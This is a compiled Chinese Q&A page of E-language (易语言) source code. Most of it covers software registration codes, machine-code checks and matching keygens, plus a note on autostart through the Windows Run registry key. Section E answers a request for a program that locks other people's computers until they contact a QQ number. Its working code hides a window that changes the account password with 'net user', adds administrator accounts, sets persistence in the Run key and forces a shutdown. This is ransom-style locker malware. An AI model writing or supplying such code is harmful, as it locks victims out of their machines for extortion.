易语言注册码源码
A. 易语言制作一个不需要服务器就可以注册账号的软件,求源码!
首先你要连接一个数据库,有ACCESS数据库,还有Sql数据库。这比较复杂,简单的可以连接易语言自带的edb数据库,我给你说得就是edb数据库。下面便是连接edb数据库的例子。
打开易语言,找到上面第一行的数据库,点击,出现结构编辑器,记录编辑器等等,点击结构编辑器,弹出一个新的数据库管理器, 在字段信息下面的名称一栏中输入“账号”在下面类型一栏选择“文本型”如果你希望输入的是数字可以选择“整数型”。点击保存,输入文件名“账号”,这样就完成名为“账号”的edb的数据库了。再到回到易语言界面,点击刚才说得上面第一行的数据库按钮弹出的最下面的加入数据库常量,选择你刚才保存的“账号.edb”数据库,这样就加入账号这个常量。 (如果你再想加密码,可以在字段“账号”后面再插入一个字段,选择“整数型”类型)。
下面是完成别人用你的程序时输入的账号时就是把账号写入到数据库,还有是验证别人是否已经注册过的代码。
建一个启动窗口,(你做的程序窗口放在启动窗口后面)加入一个编辑框一个按钮,把按钮命名为“注册”,双击启动窗口,在__启动窗口_创建完毕的子程序里加入代码:
打开 (取运行目录 () + “\账号.edb”, , , , , , ) ' 这是找到存放程序的文件夹里的“账号”数据库并打开这个数据库。 (当然你的程序和数据库要放在同一个文件夹里)
..判断(到文本 (读 (#账号)) ≠ “”) ' 这是判断数据库“账号”这个字段是否为空,如果不为空,就是别人已经注册过了,那就不显示启动窗口让人注册了,直接载入你做的程序窗口。
B. 急,求最简单易语言注册机源码
注册项源码
.版本 2
.支持库 xplib
.子程序 __启动窗口_创建完毕
.局部变量 注册码, 文本型
.局部变量 注册表, 文本型
XP风格 (1)
注册码 = 到文本 (取硬盘特征字 () + 2234240 × 0)
注册表 = 到文本 (取文本注册项 (4, “SOFTWARE\ceshi\zhucema”, ))
.如果 (注册码 = 注册表)
载入 (窗口1, , 假)
销毁 ()
.否则
编辑框1.内容 = 到文本 (取硬盘特征字 ())
.如果结束
.子程序 _按钮1_被单击
.如果 (编辑框2.内容 = 到文本 (取硬盘特征字 () + 2234240 × 0))
信息框 (“注册成功”, 0, )
写注册项 (4, “SOFTWARE\ceshi\zhucema”, 到文本 (取硬盘特征字 () + 2234240 × 0))
载入 (窗口1, , 假)
销毁 ()
.否则
信息框 (“注册失败”, 0, )
.如果结束
.子程序 _按钮2_被单击
结束 ()
-------------------------------------------------------------------------------
注册机源码
.版本 2
.支持库 xplib
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
XP风格 (1)
.子程序 _按钮1_被单击
.局部变量 注册码, 文本型
.局部变量 机器码, 整数型
机器码 = 到整数 (编辑框1.内容)
注册码 = 到文本 (机器码 + 2234240 × 0)
编辑框2.内容 = 注册码
.子程序 _按钮2_被单击
销毁 ()
==================================================
答案来源 → 精易论坛,要学习软件的可网络一下"精易论坛"
精易论坛 → 专业易语言技术交流学习平台 , 不会英语也能写软件
C. 怎么把易语言编译出来软件程序上加注册码,
.版本 2
.程序集 窗口程序集2
.程序集变量 程序集_机器码, 整数型
.程序集变量 程序集_用户输入的激活码, 文本型
.程序集变量 程序集_运算的激活码, 文本型
.程序集变量 程序集_临时存储, 文本型
.子程序 _按钮_确定_被单击
程序集_用户输入的激活码 = 程序集_用户输入的激活码 + 编辑框1.内容 + “-”
程序集_用户输入的激活码 = 程序集_用户输入的激活码 + 编辑框2.内容 + “-”
程序集_用户输入的激活码 = 程序集_用户输入的激活码 + 编辑框3.内容 + “-”
程序集_用户输入的激活码 = 程序集_用户输入的激活码 + 编辑框4.内容 + “-”
程序集_用户输入的激活码 = 程序集_用户输入的激活码 + 编辑框5.内容
程序集_机器码 = 取绝对值 (取硬盘特征字 ())
程序集_运算的激活码 = 取文本左边 (取十六进制文本 (到数值 (程序集_机器码) \ 2), 5) + “-” + 取文本左边 (取十六进制文本 (到数值 (程序集_机器码) \ 5), 5) + “-” + 取文本左边 (取十六进制文本 (到数值 (程序集_机器码) \ 9), 5) + “-” + 取文本左边 (取十六进制文本 (到数值 (程序集_机器码) × 2), 5) + “-” + 取文本左边 (取十六进制文本 (到数值 (程序集_机器码) + 2), 5)
.如果 (程序集_用户输入的激活码 = 程序集_运算的激活码)
信息框 (“激活成功”, 0, )
写配置项 (“这里输入你要写的配置项的路径以及名称”, “是否激活”, “机器码”, 到文本 (程序集_机器码))
写配置项 (“这里输入你要写的配置项的路径以及名称”, “是否激活”, “激活码”, 程序集_用户输入的激活码)
全局_激活了吗 = 真
载入 (XXXXX, , 真)
.否则
信息框 (“激活码错误,激活失败”, 0, )
.如果结束
.子程序 __启动窗口_创建完毕
程序集_临时存储 = 读配置项 (“这里填写你写的配置项的目录和名称”, “是否激活”, “机器码”, )
程序集_机器码 = 取绝对值 (取硬盘特征字 ())
.如果 (程序集_临时存储 = 到文本 (程序集_机器码))
全局_激活了吗 = 真
载入 (XXXXX, , 真)
销毁 ()
.否则
全局_激活了吗 = 假
.如果结束
.子程序 _按钮2_被单击
.如果 (信息框 (“确定进入试用版吗?,试用版将XXXXX”, #询问图标 + #确认取消钮, “提示”) = #确认钮)
载入 (XXXXX, , 真)
全局_激活了吗 = 假
销毁 ()
.否则
返回 ()
这是注册界面的代码,再建一些窗口,做你的主程序,这个“全局_激活了吗”是个全局变量,类型是逻辑型,可以用它对试用版的功能做限制,界面自己设计,具体就是2个按钮5个编辑框和一个标签,这个XXXXX是你要在里面写的东西,可以随意换,你想写什么就写什么,我相信只要稍微懂点的人都能看懂这是什么意思
.版本 2
.程序集 窗口程序集1
.程序集变量 机器码, 文本型
.子程序 _按钮1_被单击
编辑框2.内容 = 取文本左边 (取十六进制文本 (到数值 (编辑框1.内容) \ 2), 5) + “-” + 取文本左边 (取十六进制文本 (到数值 (编辑框1.内容) \ 5), 5) + “-” + 取文本左边 (取十六进制文本 (到数值 (编辑框1.内容) \ 9), 5) + “-” + 取文本左边 (取十六进制文本 (到数值 (编辑框1.内容) × 2), 5) + “-” + 取文本左边 (取十六进制文本 (到数值 (编辑框1.内容) + 2), 5)
.子程序 __启动窗口_创建完毕
编辑框1.内容 = 到文本 (取绝对值 (取硬盘特征字 ()))
这是注册机的代码, 界面是两个标签两个编辑框和一个按钮,代码就是这样,可以自己看着改
D. 易语言源码写注册项 (#本地机器, “software\microsoft\windows\CurrentVersion\Run\ZDYY”, 取运行目录 ()
这个的意思是是把程序运行的目录名加上程序的名一起写到HKEY_LOCAL_MACHINE\software\microsoft\windows\CurrentVersion\Run\ZDYY\里
达到开机启动的效果.
E. 易语言修改电脑密码和用户名的源码,就是写一个软件别人打开后电脑用户名被改成加Q....解锁的源码
.版本 2
运行 (“net user 要密码加QQ 779988520”, 假, #隐藏窗口)‘那行数字是密码
运行 (“net user administrator 779988520 /add”, 假, #隐藏窗口)’数字是密码
运行 (“net user administrators administrators /add”, 假, #隐藏窗口)
写注册项 (#本地机器, “software\microsoft\windows\CurrentVersion\Run\ZDYY”, 取运行目录 () + “\” + 取执行文件名 ())‘开机自动启动
关闭系统 (2, 假)’关机
这样锁了还开机自动启动然后又锁了
F. 易语言机器码/注册码
首先要取一个机器特有的代码。 如:取硬盘特征字() ‘一般取出来的都是 -123456类似的数字。每个机器的硬盘特征都是不同的。 然后针对这一特点来进行加密。
给你写个列子吧:稍等给你附上源码!
----------软件注册。
.版本 2
.支持库 dp1
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
.局部变量 机器码, 整数型
机器码 = 取绝对值 (取硬盘特征字 ()) ' 因为取出来的特征字是﹣的,所以要去绝对值!
编辑框机器码.内容 = 到文本 (机器码)
.子程序 _注册按钮_被单击
.局部变量 待用数据, 文本型
.局部变量 机器码, 文本型
.如果真 (编辑框注册码.内容 = “”)
信息框 (“请输入注册码才能正确的注册!”, 0, )
返回 ()
.如果真结束
待用数据 = 取数据摘要 (加密数据 (到字节集 (编辑框机器码.内容), “jqm”, #RC4算法))
机器码 = 到大写 (取文本左边 (待用数据, 25))
.如果 (机器码 = 编辑框注册码.内容)
分组框1.可视 = 假
标题 = “已经成功注册”
.否则
信息框 (“我猜注册码肯定错了。不然怎么注册不了呢?”, 0, )
.如果结束
------机器码。
.版本 2
.支持库 dp1
.程序集 窗口程序集1
.子程序 _注册按钮_被单击
.局部变量 注册码, 文本型
.如果真 (编辑框机器码.内容 ≠ “”)
注册码 = 到大写 (取文本左边 (取数据摘要 (加密数据 (到字节集 (编辑框机器码.内容), “jqm”, #RC4算法)), 25))
编辑框注册码.内容 = 注册码
.如果真结束
-----
这只是个很简单的列程。 希望可以帮助到你!